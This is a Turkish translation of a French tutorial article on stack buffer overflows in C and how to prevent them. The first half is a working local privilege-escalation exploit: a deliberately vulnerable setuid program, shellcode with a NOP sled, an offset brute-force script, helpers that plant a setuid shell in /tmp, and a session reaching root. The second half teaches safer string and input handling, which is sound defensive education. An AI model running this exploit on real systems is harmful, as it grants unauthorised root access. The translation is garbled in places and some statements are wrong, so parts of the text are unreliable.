Original in fr Frédéric Raynal, Christophe Blaess, Christophe Grenier
fr to en Georges Tarbouriech
en to tr Nur Mumcuoğlu
Christophe Blaess bağımsız bir havacılık mühendisi.O bir Linux meraklısı ve birçok işini bu sistem yardımıyla yapıyor.Linux Dökümantasyon Projesi tarafından yayınlanan kişisel sayfaların çevirisinin organizasyonunu yapıyor.
Chritophe Grenier ESIEA'da beş yıldır öğrenci ve aynı zamanda burada sistem yöneticisi olarak çalışıyor.Bilgisayar güvenliğine karşı bir tutkusu var.
Frédéric Raynal birçok senedir Linux kullanıyorlar çünkü o kirletmiyor, hormonları kullanmıyor, ne GMO ne de hayvansal yağ...sadece ter ve oyunlar.
Bir önceki makalemizde,kabuk çalıştırabilen ve herhangi bir hata anında sistemden çıkış yapabilen 50 byte lık küçük bir program yazdık.Şimdi bu kodu programı çalıştırmak istediğimiz yere yerleştireceğiz.Bu kodda,fonksiyonun geri dönüş adresi ile işlem sırasında otomatik değişken taşmasına sebep olan bizim kabuk adresimiz yerdeğiştirildi.
Örneğin,aşağıdaki programda ilk arguman olarak verilen açıklama satırındaki katarı,
500 byte lık belleğe kopyaladık.Bu kopya, yerleştirilen bellek alanı kontrol edilmeden yapıldı.
Daha sonra da göreceğimiz gibi strncpy()
fonksiyonu bu problemden kurtulmamızı
sağlayacak.
/* vulnerable.c */ #include <string.h> int main(int argc, char * argv []) { char buffer [500]; if (argc > 1) strcpy(buffer, argv[1]); return (0); }
buffer
otomatik bir değişkendir,boşluk 500  satırı ile oluşturulmuştur;
main()
fonksiyonunu girer girmez bellekteki yer korunacaktır.
vulnerable
programını 500 karakterden fazla olmayan karakterlerle
çalıştırdığımızda,bellekte veri taşması olacak ve işlemde bir mücadele yaşanacaktır.
Önceden de gördüğümüz gibi, bu taşma, (aka return address)' i çalıştıracak bir
sonraki bilginin adresini tutacaktır.
Bu güvenlik çukurunu önlemek için çalıştırmak istediğimiz kabuk kodu adresi ile fonksiyon
adresini yerdeğiştirmek yeterli olacaktır.Bu kabuk kodu hafızada kendisinden sonra adresi
gelecek şekilde ana belleğe yerleştirilir.
Kabuk kodunun hafızadaki adresini elde etmek oldukça zordur.Kabuk kodu adresi ile taşmayı
tutan %esp
kaydı arasındaki geçişi araştırmak gerekir.Biraz güvenliği sağlamak için
bellekteki alanın başlangıcı, NOP
bilgi topluluğu ile doldurulmalıdır; bu,bir
byte'lık, hiçbir yerde bir etkisi olmayan tarafsız bilgidir.Böylece,kabuk kodunun
doğru başlangıcından önce başlangıç adresi işaret edilecektir.Daha fazla şansa sahip olmak için
kabuk kodunu sonuna kadar tekrar eden ve NOP
bloğu ile oluşturulan başlangıç adresi
izleyecek şekilde, belleğin ortasına yerleştiririz. şekil 1,belleğin
yaratılımını gösterecektir.
Bununla birlikte,başka değişken atama ile ilgili başka bir problem daha vardır.
Çeşitli byte'larda stoklanan bir adres her zaman uyumlu olmayabilir.
Bu,doğru atamayı bulana kadar deneme yaparak çözülebilir.4 byte lık işlemciler kullanılmaya
başlandığından beri,atamalar 0,1,2 veya 3 byte lık olabilmektedirler. ( makale 183 e bakın.).
şekil 2, de gri bölümler 4 byte'lık kısımları göstermektedir.
İlk durumda,geridönüş adresi tekrar yazıldığında sadece biri çalışacaktır.
Diğerleri, segmentation violation
veya illegal instruction
hatalarını
verecektir.Bu deneysel yol,bu çeşit bir testi uygulamamıza olanak veren bugünün
bilgisayarlarının çıktığı zamandan beri en iyiyi bulan yoldur.
Şimdi,hafızada taşmanın olduğu yere göndermekle zarar görebilen bir program yazacağız. Bu program,kabuk kodunu hafızaya yerleştiren ve çalışacak programı seçen çeşitli seçeneklere sahiptir.Bu versiyonu ,Aleph One'ın EM>phrack 49 sayılı makalesinden esinlenilerek Christophe Grenier 'ın görselyöresinden alınmıştır.
Uygulama alanına hazır bellek alanımızı nasıl göndereceğiz?
Genellikle,vulnerable.c
veya çevre değişkendeki gibi komut satırı parametresi
kullanabilirsiniz.
Taşma,kullanıcı tarafından yazılan,çalışması zor, veya dosyadan okuması zor, satırlar ile
oluşacaktır.
generic_exploit.c
programı,doğru boyuttaki bellek alanını ayırmak ile başlar,
sonra kabuk kodunu oraya kopyalar ve onu adreslerle ve yukarda açıklanan NOP kodları ile
doldurur.
Daha sonra arguman dizisi hazırlar ve execve()
bilgisini kullanarak etiket
uygulamasını çalıştırır,daha önce çağrılmış ile yerdeğiştirme işlemi son yerdeğiştirmedir.
generic_exploit
parametleri önlem için (adresi geri çağırmak için biraz daha fazla
bellek alanı) oluşturulan bellek alanları,hafıza geçişi ve atamadır.Şunu belirtmeliyiz ki
bellek alanı hem çevre değişkenden(var
) hem de açıklama satırından
(novar
) geçmektedir.
force/noforce
argumanı,kabuk kodundan setuid()/setgid()
fonksiyonuna
çağrılıma izin verir(veya vermez).
/* generic_exploit.c */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <sys/stat.h> #define NOP 0x90 char shellcode[] = "\xeb\x1f\x5e\x89\x76\xff\x31\xc0\x88\x46\xff\x89\x46\xff\xb0\x0b" "\x89\xf3\x8d\x4e\xff\x8d\x56\xff\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff"; unsigned long get_sp(void) { __asm__("movl %esp,%eax"); } #define A_BSIZE 1 #define A_OFFSET 2 #define A_ALIGN 3 #define A_VAR 4 #define A_FORCE 5 #define A_PROG2RUN 6 #define A_TARGET 7 #define A_ARG 8 int main(int argc, char *argv[]) { char *buff, *ptr; char **args; long addr; int offset, bsize; int i,j,n; struct stat stat_struct; int align; if(argc < A_ARG) { printf("USAGE: %s bsize offset align (var / novar) (force/noforce) prog2run target param\n",argv[0]); return -1; } if(stat(argv[A_TARGET],&stat_struct)) { printf("\nCannot stat %s\n", argv[A_TARGET]); return 1; } bsize = atoi(argv[A_BSIZE]); offset = atoi(argv[A_OFFSET]); align = atoi(argv[A_ALIGN]); if(!(buff = malloc(bsize))) { printf("Can't allocate memory.\n"); exit(0); } addr = get_sp() + offset; printf("bsize %d, offset %d\n", bsize, offset); printf("Using address: 0lx%lx\n", addr); for(i = 0; i < bsize; i+=4) *(long*)(&buff[i]+align) = addr; for(i = 0; i < bsize/2; i++) buff[i] = NOP; ptr = buff + ((bsize/2) - strlen(shellcode) - strlen(argv[4])); if(strcmp(argv[A_FORCE],"force")==0) { if(S_ISUID&stat_struct.st_mode) { printf("uid %d\n", stat_struct.st_uid); *(ptr++)= 0x31; /* xorl %eax,%eax */ *(ptr++)= 0xc0; *(ptr++)= 0x31; /* xorl %ebx,%ebx */ *(ptr++)= 0xdb; if(stat_struct.st_uid & 0xFF) { *(ptr++)= 0xb3; /* movb $0x??,%bl */ *(ptr++)= stat_struct.st_uid; } if(stat_struct.st_uid & 0xFF00) { *(ptr++)= 0xb7; /* movb $0x??,%bh */ *(ptr++)= stat_struct.st_uid; } *(ptr++)= 0xb0; /* movb $0x17,%al */ *(ptr++)= 0x17; *(ptr++)= 0xcd; /* int $0x80 */ *(ptr++)= 0x80; } if(S_ISGID&stat_struct.st_mode) { printf("gid %d\n", stat_struct.st_gid); *(ptr++)= 0x31; /* xorl %eax,%eax */ *(ptr++)= 0xc0; *(ptr++)= 0x31; /* xorl %ebx,%ebx */ *(ptr++)= 0xdb; if(stat_struct.st_gid & 0xFF) { *(ptr++)= 0xb3; /* movb $0x??,%bl */ *(ptr++)= stat_struct.st_gid; } if(stat_struct.st_gid & 0xFF00) { *(ptr++)= 0xb7; /* movb $0x??,%bh */ *(ptr++)= stat_struct.st_gid; } *(ptr++)= 0xb0; /* movb $0x2e,%al */ *(ptr++)= 0x2e; *(ptr++)= 0xcd; /* int $0x80 */ *(ptr++)= 0x80; } } /* Patch shellcode */ n=strlen(argv[A_PROG2RUN]); shellcode[13] = shellcode[23] = n + 5; shellcode[5] = shellcode[20] = n + 1; shellcode[10] = n; for(i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i]; /* Copy prog2run */ printf("Shellcode will start %s\n", argv[A_PROG2RUN]); memcpy(ptr,argv[A_PROG2RUN],strlen(argv[A_PROG2RUN])); buff[bsize - 1] = '\0'; args = (char**)malloc(sizeof(char*) * (argc - A_TARGET + 3)); j=0; for(i = A_TARGET; i < argc; i++) args[j++] = argv[i]; if(strcmp(argv[A_VAR],"novar")==0) { args[j++]=buff; args[j++]=NULL; return execve(args[0],args,NULL); } else { setenv(argv[A_VAR],buff,1); args[j++]=NULL; return execv(args[0],args); } }
vulnerable.c
dan fayda sağlamak için,uygulama tarafından belirlenmiş
bellek alanından daha fazlasını elde etmeliyiz.Örneğin 500 byte yerine 600 byte'ı tercih
etmeliyiz.Taşmanın olduğu yeri saptamak için başarılı testler yapılır.addr = get_sp() +
offset;
bilgisi ile yapılanan adres,adres geri çağrımının tekrar yazılmasını sağlar,
tabi bunun için biraz şansa gereksinimi vardır...!
Bu işlem %esp
kaydının varolan işlem sırasında fazla hareket etmeyeceğini ve
program sonuna birinin çağrılacağını destekler.
Pratik olarak,hiçbirşey kesin değildir: çeşitli olaylar hesaplamanın yapıldığı zamandan
bellekte taşmanın olduğu zamana değiştirilebilir.
Burada,-1900 byte lık eksiltme ile taşmayı engellemeyi başardık.Elbette ,bu deneyimi
tamamlamak için, vulnerable
etiketi Set-UID root olmalıdır.
$ cc vulnerable.c -o vulnerable $ cc generic_exploit.c -o generic_exploit $ su Password: # chown root.root vulnerable # chmod u+s vulnerable # exit $ ls -l vulnerable -rws--x--x 1 root root 11732 Dec 5 15:50 vulnerable $ ./generic_exploit 600 -1900 0 novar noforce /bin/sh ./vulnerable bsize 600, offset -1900 Using address: 0lxbffffe54 Shellcode will start /bin/sh bash# id uid=1000(raynal) gid=100(users) euid=0(root) groups=100(users) bash# exit $ ./generic_exploit 600 -1900 0 novar force /bin/sh /tmp/vulnerable bsize 600, offset -1900 Using address: 0lxbffffe64 uid 0 Shellcode will start /bin/sh bash# id uid=0(root) gid=100(users) groups=100(users) bash# exitİlk olarak,(
noforce
) bizim uid
değişmez.Bunun yanında
bize olnaklar sağlayan yeni euid
e sahibiz.
Böylece, /etc/passwd
dosyasını vi
editörü ile yazarken,
dosya sadece okunabilir olsa bile tüm değişiklikler çalışacaktır: w!
yazarak
bunu henüz sağlayabilirsiniz:)
force
parametresi sistemin başlamasından uid=euid=0
a izin
verecektir.
Küçük bir kabuk programı kullanmak,taşmaya sebep olan geçiş değerlerini otomatik olarak bulmayı kolaylaştırır.
#! /bin/sh # find_exploit.sh BUFFER=600 OFFSET=$BUFFER OFFSET_MAX=2000 while [ $OFFSET -lt $OFFSET_MAX ] ; do echo "Offset = $OFFSET" ./generic_exploit $BUFFER $OFFSET 0 novar force /bin/sh ./vulnerable OFFSET=$(($OFFSET + 4)) doneBu başarı,potansiyel atama problemlerinin çözümüne bizi götürmez.Daha sonra,sizin için aynı değerler ile bu örneği çalıştırmak veya sadece atamadan dolayı çalışmaması mümkün olur.(Bütün bunlar, test etmeyi gerektirir,atama parametresi 1,2 veya 3'e (burda 0) değiştirilmelidir. Bazı sistemler hafıza alanına yazmayı kabul etmez,fakat bu Linux'da geçerli değildir.)
Maalesef,bazen oluşturulmuş kabuk kendi içinde sonlanana kadar veya açkı tuşa basana kadar kullanılamaz.Bunun anlamı bazı kolaylıklara zor ulaşılabildiğidir.
/* set_run_shell.c */ #include <unistd.h> #include <sys/stat.h> int main() { chown ("/tmp/run_shell", geteuid(), getegid()); chmod ("/tmp/run_shell", 06755); return 0; }
Bu işin üstesinden gelebildiğimiz zamandan beri, run_shell
programı,
set_run_shell
programının yardımı ile kolaylıkları elde edebiliriz.
Daha sonra bir kabuğa gereksinimimiz olacaktır.
/* run_shell.c */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <sys/types.h> #include <sys/stat.h> int main() { setuid(geteuid()); setgid(getegid()); execl("/tmp/shell","shell","-i",0); exit (0); }
-i
seçeneği interactive
'e uyumludur.Peki neden
kolaylıkları direk kabuğa aktarmayalım? Çünkü s
bit'i her kabuk
için elverişli değildir.Son sürümleri, "uid" in "euid" ile eşit olduğunu
göstermektedir. "gid" ile "egid" için de aynı şey sözkonusudur.
Böylece,bash2
ve tcsh
koruma satırını kapsamaktadırlar.
fakat ne bash
ne de ash
bu satırı kapsamamaktadırlar.
Bu yöntem,run_shell
'nin bulunduğu (burada, /tmp
) ve
nosuid
veya noexec
'e ilişiklendiği yerde
bölümleme olduğu zaman tasfiye edilmelidir.
Bir taşmanın olduğu Set-UID programına kaynak kodu ile birlikte sahip olduğumuzdan beri, dosya sahibinin ID si altında keyfi kod çalıştırılmasına karşı bir tepki hazırlayabildik. Bununla birlikte, ilk golümüz güvenlik çukurlarını önlemekti.Sonra hafızadaki taşmaları önlemek için birtakım kuralları inceledik.
İlk kural,iyi bir izlenim uyandırıyor: indexler dikkatli bir şekilde taranması gereken dizileri işlemek için kullanılıyor."clumsy" döngüsü :
for (i = 0; i <= n; i ++) { table [i] = ...bir ihtimalle hata içeriyor.Hatanın sebebi
<
nın yerine
<=
işaretinin kullanılmasıdır.Böyle bir döngüyü taramak kolay olsaydı,
sıfırın altına inmeden indexleri azaltmak bu döngü ile çok zor olacaktı.
for(i=0; i<n ; i++)
sıfır durumdan ayrı olarak,algoritmanın kullanıldığı
farklı zamanları özellikle döngünün başladığı yerleri kontrol etmek zorundayız.
(Hatta birine sizin için bu denetimi yapabilir mi diye sorun)
Aynı çeşit problem karakter dizileri(katarlar) da bulundu : son null karakter için bir byte daha eklemeyi düşünmek zorundasınız.Bunu unutamak ,en sık karşılaşılan hatalardan biridir ve değişken atamalarından dolayı gizli kaldığı için hatayı bulmak da zordur.
Dizi indexleri eksik hesaplanmamalıdır.Gördük ki bir byte lık taşma güvenlik çukuru yaratmaya yeterlidir (Phrack konu 55'e bakın), çevre değişkene kabuk kodu yerleştirmek, örneğin,
#define BUFFER_SIZE 128 void foo(void) { char buffer[BUFFER_SIZE+1]; /* end of string */ buffer[BUFFER_SIZE] = '\0'; for (i = 0; i<BUFFER_SIZE; i++) buffer[i] = ... }
strcpy(3)
fonksiyonu,hedef katarı
null byte'ı içeren orjinal katara kopayalar.Bazı durumlarda , bu davranış tehlike yaratır;
aşağıdaki kodun güvenlik çukuru oluşturduğunu gördük:
#define LG_IDENT 128 int fonction (const char * name) { char identity [LG_IDENT]; strcpy (identity, name); ... }Bu tip bir problemden kaçınmak için sınırlı uzunluğa sahip fonksiyonlar vardır. Bu fonksiyonların,adlarının ortalarında `
n
' yazar.Örneğin,
strcpy(3)
yerine strncpy(3)
fonksiyonu,
strcat(3)
yerine strncat(3)
fonksiyonu,
hatta strlen(3)
yerine strlen(3)
fonksiyonu.
Bununla birlikte,
Açıkçası,kopyalamak için byte sayısını kontrol edince bunun pek önemi kalmaz.
Böyle bir BIND(Berkeley Internet Name Daemon)'daki böyle bir boşluk sisteme zarar veren
insanları meşgul edecektir:
Herşeyden önce,bu,karakter dizisinin yazma yöntemleri ile ilgilidir.Yani,
C++ ı kullanarak
Okunana veri iki basamağa sahiptir.
İlk aşama,karakter dizinin hafıza alanınının boyutunu sınırlayan
Doğrudan veri yazılımının sadece saldırgan giriş noktaları olmaz.Yazılım veri dosyaları
zedelenebilir,fakat onlara okumaları için yazılan kod yazmaları için yazılan koddan genellikle
daha güçlüdür.Programcılar,sezgisel olarak,içeriği kullanıcı tarafından korunan
dosyalara güven duymazlar.
Bellek alanındaki taşmalar genellikle şöyle bir şeye dayanmaktadır:çevresel karakter dizileri.
Bir programcının,başlamadan önce çevresel işlemi düzenldiğini unutmamalıyız.Alınan kararlara
göre,çevresel karakter dizisi "
Böyle filtreler, bir bilgisayar üretiliyormuş gibi yapılır: herşeyi yasaklamak ilk kuraldır!
Sonra bazı şeylere izin verilir:
Bellek alanındaki taşmalar, tekrar yazmayı içeren kısma(taşmanın olduğu kısım) güvenir
sanki fonksiyonun adresini geri gönderiyormuş gibi.Etki otomatik veri ile ilgilidir,sadece
o kısmın içinde tahsis edilmiştir.Bu problemi kaldırmanın bir yolu,o kısımda sağlanan
karakter tablolarını heap'de bulunan dinamik değişkenler ile yerdeğiştirmektir.
Bunu yapmak için,sırası ile şunları yerdeğiştirmek gerekir:
Son olarak,bazı durumlarda,güvenlik çukurunu baştan kolayca defetmek,hafıza bildiriminden
önce
strncpy(3)
sınırlaması ile dikkatli olmalısınız.Farklı etkiler
yaratabilir: kaynak katarı hedeflenenden az olunca, n sınırına kadar null karakterler
ile tamamlanacaktır.Bu da yeterli performansı sağlamaz.Bunun yanında,eğer fazla olursa,null
karakter ile sonlanmayacaktır,siwcscpy(3)
yerine wcsncpy(3)
ı tercih etmek
veya wcscat(3)
yerine wcsncat(3)
'ı tercih ederek büyük karakterleri
kullanma yöntemine uygulanabilir.Böyelce program daha da büyüyecek fakat
güvenlik olacaktır.
strcpy()
gibi strcat(3)
da hafıza boyutunu kontrol etmez.
strncat(3)
fonksiyonu,uygun yer bulursa karakter dizisinin sonuna bir
karakter ekler.strcat(buffer1, buffer2);
ı
strncat(buffer1, buffer2, sizeof(buffer1)-1);
ile yerdeğiştirmek,riski
azaltmak için yeterlidir.
sprintf()
fonksiyonu formatlanmış veriyi diziye kopyalamaya izin verir.
Bu fonksiyon,karakter numaralarını hedef katara( "\0" karakterini saymadan) gönderir.
Gönderdiği değerleri test etmek,katara,değerlerin doğru eklenip eklenmediğini bilmemizi
sağlar:
if (snprintf(dst, sizeof(dst) - 1, "%s", src) > sizeof(dst) - 1) {
/* Overflow */
...
}
struct hosten *hp;
unsigned long address;
...
/* copy of an address */
memcpy(&address, hp->h_addr_list[0], hp->h_length);
...
Bu, herzaman 4 byte kopyalamaya izin verecektir.Bunun yanında,eğer
hp->h_length
'i değiştirebilecekseniz,alanı belirleyebileceksinizdir.
Fakat kopayalamadan önce veri uzunluğunu kontrol etmek zorunludur:
struct hosten *hp;
unsigned long address;
...
/* test */
if (hp->h_length > sizeof(address))
return 0;
/* copy of an address */
memcpy(&address, hp->h_addr_list[0], hp->h_length);
...
Bazı durumlarda bu yolun(isim,URL,kaynak yolu) geri kalanını atmak,ve programda,veri
yazılır yazılmaz erken yapılmalıdırlar.
Veriyi İki Adımda Oluşturmak
Programda diğer kullanıcıya göre özellikli olarak çalışmak için kendini koruma davranışı,gelen
tüm şüpheli verileri incelemekte etkilidir.
gets(char *chaine)
'unu karakter katarının uzunluğu
kontrol edilmeden asla kullanmamalısınız(Yazar notu: bu yöntem,ilişiklendirilen
editör tarafından yasaklanmalıdır).
Daha tehlikeli riskler scanf()
'de gizlenmiştir.
scanf ("%s", string)
satırı,örneğin gets(char *chaine)
kadar tehlikeli fakat çok açık değildir.
Bununla birlikte ,scanf()
ailesinden fonksiyonlar veri boyutunun kontrolünü
tercih ederler:
char buffer[256];
scanf("%255s", buffer);
Bu yöntemde, buffer
'a kopyalanan karakter sayısı, 255 ile sınırlıdır.
Diğer bir tarafdan,scanf()
in karakterleri yerleştirmesi geldiği yere
geri göndermesi anlamına gelmemektedir,(örneğin,bir şekil için bekleyen bir karakter),
program hatalarının yarattığı kitleme riskleri oldukça büyüktür.
cin
akışı C de kullanılan (hatta hala kulanılıyor)
klasik fonksiyonlar ile yerdeğiştirir.Aşağıdaki program hafızayı doldurur:
char buffer[500];
cin>>buffer;
Sizin de gördüğünüz gibi,test edilmemiştir! gets(char *chaine)
de olduğu
durumun aynısı,C'yi kullanırken : kapı oldukça açık.ios::width()
'in üyesi olan
fonksiyon,karakterleri, okunması için en üst sayı ile eşleştirir.
fgets(char *chaine, int taille, FILE stream)
ile
olması konusunda ısrar etmektedir.Sonra okunan veri silinir,örneğin sscanf()
ile.
İlk aşama bundan daha fazlasını da yapabilir,örneğin;fgets(char *chaine, int
taille, FILE stream)
i,istenilen hafızayı,keyfi sınır koymadan otomatik olarak
sağlayan döngünün içine yerleştirmektedir. GNU uzantısı getline()
bunu sizin
için yapabilir.isalnum()
, isprint()
, vb. leri kullanarak yazılması
onaylanan karakterleri içermesi de mümkündür.strspn()
fonksiyonu etkili bir
süzmeye müsade eder.Program biraz daha yavaş olur,fakat böylece kodun duyarlı bölümleri
tehlikeli veriye karşı kurşun geçirmez bir yelek ile korunur.
NAME=VALUE
" yazılımının bir parçası olmalı ve
kötü amaçlı kullanıcıların önünde kullanışsız olmalı.
getenv()
yöntemini kullanmak dikkat gerektirir.Özellikle bu bir karakter
dizisinin uzunluğunu(oldukça uzun) ve içeriğini (`=
' içeriğinde herhangi
bir karakter bulabilirsinz) geri döndürüyorsa.getenv()
tarafından geri
döndürülen karakter dizisi, uzunluğu ve bir karakterin arkasından diğerinin
geldiğini dikkate alarak fgets(char *chaine, int taille, FILE stream)
tarafından üretilenlerden biri gibi yaratılacaktır.
#define GOOD "abcdefghijklmnopqrstuvwxyz\
BCDEFGHIJKLMNOPQRSTUVWXYZ\
1234567890_"
char *my_getenv(char *var) {
char *data, *ptr
/* Getting the data */
data = getenv(var);
/* Filtering
Rem : obviously the replacement character must be
in the list of the allowed ones !!!
*/
for (ptr = data; *(ptr += strspn(ptr, GOOD));)
*ptr = '_';
return data;
}
strspn()
fonksiyonu bunu kolaylaştırır: ilk karakter gibi görünür,özel bir boşluğa
sahip bir karakter gibi değil.Sadece gerçe karakterleri tutarak karakter dizisi uzunluğunu
geri gönderir(0 dan başlayarak).Yasaklana karakterlerin belirtildiğinden ve hiçbirinin yazıda
bulunmadığı kontrol edildiğinden beri strcspn
fonksiyonun karşı bir fonksiyon
olduğunu unutmamak gerekir.
Dİnamik Bellek Alanı Kullanımı
#define LG_STRING 128
int fonction (...)
{
char chaine [LG_STRING];
...
return (result);
}
with :
#define LG_STRING 128
int fonction (...)
{
char *string = NULL;
if ((string = malloc (LG_STRING)) == NULL)
return (-1);
memset(string,'\0',LG_STRING);
[...]
free (string);
return (result);
}
Bu satırlar, kodu fazla üretir ve hafıza sızıntıları meydana getirir,fakat,yaklaşımı azaltmak
ve sınır uzunluk dğerlerini zorlamayı engellemek için bu değişikliklerin avantajına
sahip olmalıyız.alloca()
fonksiyonu ile daha kolay bir yol kullanmak ile
aynı sonucu vermeyeceğini düşünün.Bu,taşmanın olduğu yerde son olarak bir veri tahsis edecektir
ve otomatik değişkenlerdeki gibi aynı problemi doğuracaktır.memset()
ile hafızayı
0' almak, başa alınmamış değişkenler değşkenlerin kullanımı ile ilgili bazı problemlerden
sakınmaya izin verecektir.Bütün bunlar,konuyu "Heap overflows from w00w00" konulu makaleye
taşıyacaktır.
static
açkı sözcüğünü yerleştirmek ile mümkündür.Bu,işlem yığınından
uzak veri bölümünde sağlanmuştır.Kabuğa sahip olmak imkansızdır fakat DoS problemi
hala mevcuttur.Tabii ki,yöntem tekrarlanırsa bu çalışmaz.Bu "ilaç",fazla kod değiştirmeye gerek
kalmadan acil gereksinim durumunda güvenlik çukuruna geçici bir çözüm olmalıdır.
Sonuç
Umarız,bellekte taşmanın bu anlatımı,sizin daha güvenli programlar yazmanızı sağlayacaktır.Taşma
tekniği mekanizmayı iyi anlamayı gerektiriyorsa,genel prensip başarılabilir.Diğer yandan,
gerekenleri yerine getirmek zor değildir.Unutmayınız ki,daha sonra kabul edilir bir zamanda
güvenlik programı yazmak daha hızlı olacaktır.Buna, format bugs konulu bir sonraki
makalemizde değineceğiz.
İlişiklendirmeler